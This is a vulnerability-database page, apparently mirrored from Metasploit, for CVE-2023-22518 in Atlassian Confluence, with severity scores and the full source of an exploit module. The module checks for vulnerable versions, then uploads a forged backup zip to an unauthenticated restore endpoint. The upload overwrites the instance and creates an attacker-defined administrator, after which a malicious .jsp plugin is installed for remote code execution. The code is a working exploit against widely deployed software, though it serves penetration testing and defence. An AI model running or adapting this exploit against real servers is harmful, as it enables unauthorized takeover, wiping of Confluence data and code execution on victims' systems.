Lucene search

K
metasploitAtlassian, jheysel-r7MSF:EXPLOIT-MULTI-HTTP-ATLASSIAN_CONFLUENCE_UNAUTH_BACKUP-
HistoryNov 22, 2023 - 3:14 a.m.

Atlassian Confluence Unauth JSON setup-restore Improper Authorization leading to RCE (CVE-2023-22518)

2023-11-2203:14:27
Atlassian, jheysel-r7
www.rapid7.com
45
atlassian confluence
unauthenticated attacker
improper authorization
rce
cve-2023-22518
administrator account
servlet plugin
code execution

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

10 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.966 High

EPSS

Percentile

99.6%

This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a Confluence instance administrator account. Using this account, an attacker can then perform all administrative actions that are available to Confluence instance administrator. This module uses the administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code execution on the target in the context of the of the user running the confluence server.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version
  include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::PayloadPlugin

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Atlassian Confluence Unauth JSON setup-restore Improper Authorization leading to RCE (CVE-2023-22518)',
        'Description' => %q{
          This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a
          Confluence instance administrator account. Using this account, an attacker can then perform all
          administrative actions that are available to Confluence instance administrator. This module uses the
          administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code
          execution on the target in the context of the of the user running the confluence server.
        },
        'Author' => [
          'Atlassian', # Discovery
          'jheysel-r7' # msf module
        ],
        'References' => [
          [ 'URL', 'https://jira.atlassian.com/browse/CONFSERVER-93142'],
          [ 'CVE', '2023-22518']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'Java',
            {
              'Platform' => 'java',
              'Arch' => [ARCH_JAVA]
            },
          ]
        ],
        'DisclosureDate' => '2023-10-31',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ CONFIG_CHANGES, ], # Major config changes - this module overwrites the confluence server with an empty backup with known admin credentials
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8090),
        OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),
        OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),
        # The endpoint we target to trigger the vulnerability.
        OptEnum.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', '/json/setup-restore.action', ['/json/setup-restore.action', '/json/setup-restore-local.action', '/json/setup-restore-progress.action']]),
        # We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.
        OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])
      ]
    )
  end

  def check
    confluence_version = get_confluence_version
    return Exploit::CheckCode::Unknown('Unable to determine the confluence version') unless confluence_version

    # Confluence Server and Confluence Data Center have the same vulnerable version ranges.
    if confluence_version.between?(Rex::Version.new('1.0.0'), Rex::Version.new('7.19.15')) ||
       confluence_version.between?(Rex::Version.new('7.20.0'), Rex::Version.new('8.3.3')) ||
       confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.3')) ||
       confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.2')) ||
       confluence_version == Rex::Version.new('8.6.0')
      return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")
    end

    Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")
  end

  # https://passlib.readthedocs.io/en/stable/lib/passlib.hash.atlassian_pbkdf2_sha1.html
  def generate_hash(password)
    salt = OpenSSL::Random.random_bytes(16)
    iterations = 10000
    digest = OpenSSL::Digest.new('SHA1')

    key = OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, 32, digest)
    salted_key = salt + key
    encoded_hash = Base64.strict_encode64(salted_key)

    '{PKCS5S2}' + encoded_hash
  end

  def create_zip
    zip_file = Rex::Zip::Archive.new

    # exportDescriptor.properties needs to be present in the zip file in order for it to be valid.
    export_descriptor = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'exportDescriptor.properties'))
    zip_file.add_file('exportDescriptor.properties', export_descriptor)

    entities_xml = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'entities.xml'))
    entities_xml.gsub!('NEW_USERNAME_LOWER', datastore['NEW_USERNAME'].downcase)
    entities_xml.gsub!('NEW_USERNAME', datastore['NEW_USERNAME'])
    entities_xml.gsub!('NEW_PASSWORD_HASH', generate_hash(datastore['NEW_PASSWORD']))

    zip_file.add_file('entities.xml', entities_xml)
    zip_file.pack
  end

  def upload_backup
    zip_file = create_zip
    post_data = Rex::MIME::Message.new
    post_data.add_part('false', nil, nil, 'form-data; name="buildIndex"')
    post_data.add_part('Upload and import', nil, nil, 'form-data; name="edit"')
    post_data.add_part(zip_file, 'application/zip', 'binary', "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(8..16)}\"")

    data = post_data.to_s
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT']),
      'method' => 'POST',
      'data' => data,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'keep_cookies' => true,
      'headers' => {
        'X-Atlassian-Token' => 'no-check'
      },
      'vars_get' => {
        'synchronous' => 'true'
      }
    }, 120)

    fail_with(Failure::UnexpectedReply, "The endpoint #{datastore['CONFLUENCE_TARGET_ENDPOINT']} did not respond with a 302 or a 200") unless res&.code == 302 || res&.code == 200
    print_good("Exploit Success! Login Using '#{datastore['NEW_USERNAME']} :: #{datastore['NEW_PASSWORD']}'")
  end

  def exploit
    print_status("Setting credentials: #{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")

    # Exploit CVE-2023-22518 by uploading a backup .zip file to confluence with an attacker defined username & password
    upload_backup

    # Now with admin access, upload a .jsp plugin using the PayloadPlugin mixin to gain RCE on the target system.
    payload_endpoint = rand_text_alphanumeric(8)
    plugin_key = rand_text_alpha(8)
    begin
      payload_plugin = generate_payload_plugin(plugin_key, payload_endpoint)
      upload_payload_plugin(payload_plugin, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])
      trigger_payload_plugin(payload_endpoint)
    ensure
      delete_payload_plugin(plugin_key, payload_endpoint, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])
    end
  end
end

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

10 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.966 High

EPSS

Percentile

99.6%